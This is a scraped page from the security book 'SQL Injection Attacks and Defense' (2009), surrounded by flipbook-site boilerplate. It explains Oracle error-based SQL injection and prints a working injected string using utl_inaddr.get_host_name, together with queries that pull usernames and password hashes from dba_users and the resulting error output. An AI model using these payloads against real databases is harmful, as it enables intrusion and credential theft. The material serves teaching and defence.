28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

168 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

Figure 4.9 Returning the Date in an Error Message<br />

Now we have the tools necessary to retrieve data from every accessible table, through the<br />

use of an injected string such as:<br />

' or 1=utl_inaddr.get_host_name((INNER))—<br />

We just replace the inner SELECT statement with a statement returning a single column<br />

<strong>and</strong> a single row. To bypass the limitation of the single column it is possible to concatenate<br />

multiple columns together.<br />

The following query returns the name of a user plus his password. Both columns are<br />

concatenated.<br />

select username||'='||password from (select rownum r,<br />

username,password from dba_users) where r=1<br />

ORA-29257: host SYS=D4DF7931AB130E37 unknown<br />

To avoid single quotes in the concatenated string it is possible to use the<br />

concat function instead:<br />

select concat(concat(username,chr(61)),password) from (select rownum r,<br />

username,password from dba_users) where r=2<br />

ORA-29257: host SYSTEM=E45049312A231FD1 unknown

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!